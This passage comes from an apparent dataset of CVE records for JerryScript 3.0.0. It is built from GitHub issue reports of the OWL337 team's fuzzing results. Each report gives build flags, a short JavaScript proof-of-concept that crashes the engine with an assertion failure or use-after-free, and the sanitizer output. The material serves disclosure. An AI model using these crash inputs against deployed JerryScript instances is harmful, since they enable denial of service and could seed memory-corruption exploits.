/home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1828 #10 0x5673c0df in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2313 #11 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #12 0x56739102 in parser_parse_object_literal /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1656 #13 0x5673c3b8 in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2339 #14 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #15 0x5673e25f in parser_process_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2772 #16 0x56745605 in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4437 #17 0x5674e9a0 in parser_parse_var_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:527 #18 0x5675bb93 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:2925 #19 0x566809a2 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2792 #20 0x5672d0d9 in lexer_construct_function_object /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:2820 #21 0x567398f9 in parser_parse_function_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1828 #22 0x5673c0df in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2313 #23 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #24 0x5673e25f in parser_process_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2772 #25 0x56745605 in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4437 #26 0x56745334 in parser_parse_expression_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4399 #27 0x5675cf43 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:3230 #28 0x566809a2 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2792 #29 0x5674fcbb in parser_parse_function_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:799 #30 0x5675bc06 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:2957 previously allocated by thread T0 here: #0 0xf7a20c17 in __interceptor_malloc (/lib32/libasan.so.5+0x113c17) #1 0x56669c14 in jmem_heap_alloc /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/jmem/jmem-heap.c:254 #2 0x56669c84 in jmem_heap_gc_and_alloc_block /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/jmem/jmem-heap.c:291 #3 0x56669d39 in jmem_heap_alloc_block_null_on_error /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/jmem/jmem-heap.c:342 #4 0x56747da2 in parser_malloc /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-mem.c:43 #5 0x56748645 in parser_list_append /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-mem.c:239 #6 0x5672b7fd in lexer_construct_literal_object /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:2556 #7 0x5673ba0b in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2242 #8 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #9 0x56745334 in parser_parse_expression_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4399 #10 0x5675cf43 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:3230 #11 0x566809a2 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2792 #12 0x5672d0d9 in lexer_construct_function_object /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:2820 #13 0x567398f9 in parser_parse_function_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1828 #14 0x5673c0df in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2313 #15 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #16 0x56739102 in parser_parse_object_literal /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1656 #17 0x5673c3b8 in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2339 #18 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #19 0x5673e25f in parser_process_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2772 #20 0x56745605 in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4437 #21 0x5674e9a0 in parser_parse_var_statement /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:527 #22 0x5675bb93 in parser_parse_statements /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-statm.c:2925 #23 0x566809a2 in parser_parse_function /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser.c:2792 #24 0x5672d0d9 in lexer_construct_function_object /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:2820 #25 0x567398f9 in parser_parse_function_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:1828 #26 0x5673c0df in parser_parse_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2313 #27 0x5674559d in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4428 #28 0x5673e25f in parser_process_unary_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:2772 #29 0x56745605 in parser_parse_expression /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-parser-expr.c:4437 SUMMARY: AddressSanitizer: heap-use-after-free /home/aidai/fuzzing/jerryscript/jerryscript-test/jerry-core/parser/js/js-lexer.c:3503 in lexer_compare_identifier_to_string Shadow bytes around the buggy address: 0x3e8a0450: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e8a0460: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e8a0470: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e8a0480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x3e8a0490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x3e8a04a0: fd[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x3e8a04b0: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd 0x3e8a04c0: fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa 0x3e8a04d0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd 0x3e8a04e0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00 0x3e8a04f0: 00 00 00 00 00 00 00 04 fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==2953261==ABORTING ```

Use After Free at jerry-core/parser/js/js-lexer.c:3503 in lexer_compare_identifier_to_string

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4917/comments

2022-01-03T03:39:39Z

2022-01-04T10:38:46Z

https://github.com/jerryscript-project/jerryscript/issues/4917

CVE-2021-46336

2022-01-20T22:15:08.597

There is an Assertion 'opts & PARSER_CLASS_LITERAL_CTOR_PRESENT' failed at /parser/js/js-parser-expr.c(parser_parse_class_body) in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4927

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function assert(a, b) { if (a != b) throw "FAIL"; } function JSEtest(script) { try { eval(script); } catch (e) { return e; } } assert(JSEtest("class C1 { async;constructor() { } }"), "SyntaxError: Cannot declare an async method named 'constructor'."); assert(JSEtest("class C1 { *constructor() { } }"), "SyntaxError: Cannot declare a generator function named 'constructor'."); assert(JSEtest("class C1 { async *constructor() { } }"), "SyntaxError: Cannot declare an async generator method named 'constructor'."); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'opts & PARSER_CLASS_LITERAL_CTOR_PRESENT' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class_body):656. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 31519 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'opts & PARSER_CLASS_LITERAL_CTOR_PRESENT' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_class_body):656.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4927/comments

2022-01-04T06:06:49Z

2022-01-14T09:16:23Z

https://github.com/jerryscript-project/jerryscript/issues/4927

CVE-2021-46337

2022-01-20T22:15:08.640

There is an Assertion 'page_p != NULL' failed at /parser/js/js-parser-mem.c(parser_list_get) in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4930

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript var stringSet; class JSEtest { get #test262() { return 'get string'; } set #test262(param) { stringSet = param; } getPrivateReference() { return this.#test262; } setPrivateReference(value) {function this.#test262 = value; } }; var inst = new JSEtest(); assert.sameValue(inst.getPrivateReference(), 'get string'); inst.setPrivateReference('set string'); assert.sameValue(stringSet, 'set string'); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'page_p != NULL' failed at jerryscript/jerry-core/parser/js/js-parser-mem.c(parser_list_get):279. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 36899 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'page_p != NULL' failed at jerryscript/jerry-core/parser/js/js-parser-mem.c(parser_list_get):279.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4930/comments

2022-01-04T06:09:14Z

2022-01-14T09:14:04Z

https://github.com/jerryscript-project/jerryscript/issues/4930

CVE-2021-46338

2022-01-20T22:15:08.687

There is an Assertion 'ecma_is_lexical_environment (object_p)' failed at /base/ecma-helpers.c(ecma_get_lex_env_type) in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4900

github.com

###### JerryScript revision Commit: [42523bd6](https://github.com/jerryscript-project/jerryscript/commit/42523bd6e2b114755498c9f68fd78545f9b33476) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --linker-flag=-fuse-ld=gold --profile=es2015-subset --stack-limit=20 ``` ASAN closed ###### Test case ```javascript var i = 0; var a = []; var JSEtest = []; JSEtest.__defineGetter__(0, function NaN() { if (i++ > 2) { return; } JSEtest.shift(); gc(); a.push(0); a.concat(JSEtest); }); JSEtest[0]; ``` ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_is_lexical_environment (object_p)' failed at /home/f1yh0p/jerryscript/jerry-core/ecma/base/ecma-helpers.c(ecma_get_lex_env_type):291. Error: ERR_FAILED_INTERNAL_ASSERTION ``` Credits: Found by OWL337 team.

Assertion 'ecma_is_lexical_environment (object_p)' failed at ecma-helpers.c (ecma_get_lex_env_type).

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4900/comments

2021-12-13T08:54:30Z

2022-01-12T02:04:14Z

https://github.com/jerryscript-project/jerryscript/issues/4900

CVE-2021-46339

2022-01-20T22:15:08.730

There is an Assertion 'lit_is_valid_cesu8_string (string_p, string_size)' failed at /base/ecma-helpers-string.c(ecma_new_ecma_string_from_utf8) in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4935

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case [poc-as.txt](https://github.com/jerryscript-project/jerryscript/files/7805680/poc-as.txt) ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'lit_is_valid_cesu8_string (string_p, string_size)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-string.c(ecma_new_ecma_string_from_utf8):371. Error: ERR_FAILED_INTERNAL_ASSERTION [1] abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'lit_is_valid_cesu8_string (string_p, string_size)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers-string.c(ecma_new_ecma_string_from_utf8):371.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4935/comments

2022-01-04T06:17:32Z

2022-01-14T04:30:57Z

https://github.com/jerryscript-project/jerryscript/issues/4935

CVE-2021-46340

2022-01-20T22:15:08.777

There is an Assertion 'context_p->stack_top_uint8 == SCAN_STACK_TRY_STATEMENT || context_p->stack_top_uint8 == SCAN_STACK_CATCH_STATEMENT' failed at /parser/js/js-scanner.c(scanner_scan_statement_end) in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4924

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript id = async x => x, square = async ( (a)) => { y * y } ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'context_p->stack_top_uint8 == SCAN_STACK_TRY_STATEMENT || context_p->stack_top_uint8 == SCAN_STACK_CATCH_STATEMENT' failed at jerryscript/jerry-core/parser/js/js-scanner.c(scanner_scan_statement_end):2370. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 2960 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'context_p->stack_top_uint8 == SCAN_STACK_TRY_STATEMENT || context_p->stack_top_uint8 == SCAN_STACK_CATCH_STATEMENT' failed at jerryscript/jerry-core/parser/js/js-scanner.c(scanner_scan_statement_end):2370.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4924/comments

2022-01-04T06:04:22Z

2022-01-14T04:33:28Z

https://github.com/jerryscript-project/jerryscript/issues/4924

CVE-2021-46342

2022-01-20T22:15:08.827

There is an Assertion 'ecma_is_lexical_environment (obj_p) || !ecma_op_object_is_fast_array (obj_p)' failed at /jerry-core/ecma/base/ecma-helpers.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4934

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript class JSEtest { static set #m(v) { this._v = v; } static setWithEval() { eval(' [1].#m = "Test262"'); } } class D { static set #m(v) { throw new Test262Error('should never be called'); } } JSEtest.setWithEval(); assert.sameValue(JSEtest._v, 'Test262'); assert.throws(TypeError, function () { JSEtest.getWithEval.call(D); }, 'invalid access to a static private getter'); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_is_lexical_environment (obj_p) || !ecma_op_object_is_fast_array (obj_p)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers.c(ecma_find_named_property):621. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 5397 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'ecma_is_lexical_environment (obj_p) || !ecma_op_object_is_fast_array (obj_p)' failed at jerryscript/jerry-core/ecma/base/ecma-helpers.c(ecma_find_named_property):621.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4934/comments

2022-01-04T06:13:59Z

2022-01-14T09:13:03Z

https://github.com/jerryscript-project/jerryscript/issues/4934

CVE-2021-46343

2022-01-20T22:15:08.873

There is an Assertion 'context_p->token.type == LEXER_LITERAL' failed at /jerry-core/parser/js/js-parser-expr.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4921

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript class JSEtest { #async bar(x = 1) { "use strict" } } ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'context_p->token.type == LEXER_LITERAL' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_check_duplicated_private_field):531. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 26237 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'context_p->token.type == LEXER_LITERAL' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_check_duplicated_private_field):531.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4921/comments

2022-01-04T06:02:03Z

2022-01-18T12:22:46Z

https://github.com/jerryscript-project/jerryscript/issues/4921

CVE-2021-46344

2022-01-20T22:15:08.920

There is an Assertion 'flags & PARSER_PATTERN_HAS_REST_ELEMENT' failed at /jerry-core/parser/js/js-parser-expr.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4928

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript var iterCount = 0; async function JSEtest() { for await (var { a, b, ...rest }"of [{x: 1, y: 2, a: 5, b: 3}]) { assert.sameValue(rest.a, undefined); assert.sameValue(rest.b, undefined); verifyProperty(rest, "x", { enumerable: true, writable: true, configurable: true, value: 1 }); verifyProperty(rest, "y", { enumerable: true, writable: true, configurable: true, value: 2 }); iterCount += 1; } JSEtest() .then(() => assert.sameValue(iterCount, 1, 'iteration occurred as expected'), $DONE) .then($DONE, $DONE); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'flags & PARSER_PATTERN_HAS_REST_ELEMENT' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_object_initializer):4119. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 32968 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'flags & PARSER_PATTERN_HAS_REST_ELEMENT' failed at jerryscript/jerry-core/parser/js/js-parser-expr.c(parser_parse_object_initializer):4119.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4928/comments

2022-01-04T06:07:34Z

2022-01-14T09:15:48Z

https://github.com/jerryscript-project/jerryscript/issues/4928

CVE-2021-46345

2022-01-20T22:15:08.970

There is an Assertion 'cesu8_cursor_p == cesu8_end_p' failed at /jerry-core/lit/lit-strings.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4920

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript function JSEtest() { const v2 = String.fromCodePoint(1337); const v4 = v2.padEnd(1337, v2); const v6 = { b: 0, e: String }.match const v7 = v6[v4]; } JSEtest(); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'cesu8_cursor_p == cesu8_end_p' failed at /jerryscript/jerry-core/lit/lit-strings.c(lit_convert_cesu8_string_to_utf8_string):868. Error: ERR_FAILED_INTERNAL_ASSERTION [1] abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'cesu8_cursor_p == cesu8_end_p' failed at /jerryscript/jerry-core/lit/lit-strings.c(lit_convert_cesu8_string_to_utf8_string):868.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4920/comments

2022-01-04T06:01:01Z

2022-01-14T09:03:47Z

https://github.com/jerryscript-project/jerryscript/issues/4920

CVE-2021-46346

2022-01-20T22:15:09.013

There is an Assertion 'local_tza == ecma_date_local_time_zone_adjustment (date_value)' failed at /jerry-core/ecma/builtin-objects/ecma-builtin-date-prototype.c(ecma_builtin_date_prototype_dispatch_set):421 in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4939

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript var date; date = new Date(1970, 0); date.setYear((date.getFullYear(), 1900, 'y = -0')); date.setYear(-0); date.setYear(-0); date.setYear(-0); assert.sameValue(date.getFullYear(), 1900, 'y = -0'); date = new Date(1970, 0); date.setYear(0); assert.sameValue(date.getFullYear(), 1900, 'y = 0'); date = new Date(1970, 0); date.setYear(50); assert.sameValue(date.getFullYear(), 1950, 'y = 50'); date = new Date(1970, 0); date.setYear(50.999999); assert.sameValue(date.getFullYear(), 1950, 'y = 50.999999'); date = new Date(1970, 0); date.setYear(99); assert.sameValue(date.getFullYear(), 1999, 'y = 99'); date = new Date(1970, 0); date.setYear(99.999999); assert.sameValue(date.getFullYear(), 1999, 'y = 99.999999'); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'local_tza == ecma_date_local_time_zone_adjustment (date_value)' failed at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-date-prototype.c(ecma_builtin_date_prototype_dispatch_set):421. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 309 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'local_tza == ecma_date_local_time_zone_adjustment (date_value)' failed at jerryscript/jerry-core/ecma/builtin-objects/ecma-builtin-date-prototype.c(ecma_builtin_date_prototype_dispatch_set):421.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4939/comments

2022-01-04T06:20:47Z

2022-01-14T04:30:08Z

https://github.com/jerryscript-project/jerryscript/issues/4939

CVE-2021-46347

2022-01-20T22:15:09.060

There is an Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at /jerry-core/ecma/operations/ecma-objects.c in JerryScript 3.0.0.

https://github.com/jerryscript-project/jerryscript/issues/4938

github.com

###### JerryScript revision Commit: [a6ab5e9](https://github.com/jerryscript-project/jerryscript/commit/a6ab5e9abed70cdedf9f4e9c1dc379eb762ebf64) Version: v3.0.0 ###### Build platform Ubuntu 18.04.5 LTS (Linux 4.19.128-microsoft-standard x86_64) Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64) ###### Build steps ```bash python ./tools/build.py --clean --debug --compile-flag=-fsanitize=address --compile-flag=-m32 --compile-flag=-g --strip=off --lto=off --logging=on --line-info=on --error-message=on --system-allocator=on --stack-limit=20 ``` ###### Test case <details> <summary>poc.js</summary> <pre><code> ```javascript let custom1 = BigInt(-4294967295); let custom2 = Object(BigInt(0)); Object.prototype.toString.call(BigInt.prototype, Symbol.toStringTag, { value: (custom1) }); assert.sameValue(Object.prototype.toString.call(custom1), '[object test262]'); assert.sameValue(Object.prototype.toString.call(custom2), '[object test262]'); ``` </code></pre> </details> ​ ###### Execution steps & Output ```bash $ ./jerryscript/build/bin/jerry poc.js ICE: Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at jerryscript/jerry-core/ecma/operations/ecma-objects.c(ecma_object_get_class_name):3015. Error: ERR_FAILED_INTERNAL_ASSERTION [1] 35915 abort jerry poc.js ``` Credits: Found by OWL337 team.

Assertion 'ecma_object_check_class_name_is_object (obj_p)' failed at jerryscript/jerry-core/ecma/operations/ecma-objects.c(ecma_object_get_class_name):3015.

https://api.github.com/repos/jerryscript-project/jerryscript/issues/4938/comments

2022-01-04T06:20:03Z

2022-01-14T04:30:19Z

https://github.com/jerryscript-project/jerryscript/issues/4938

CVE-2021-46348

2022-01-20T22:15:09.110

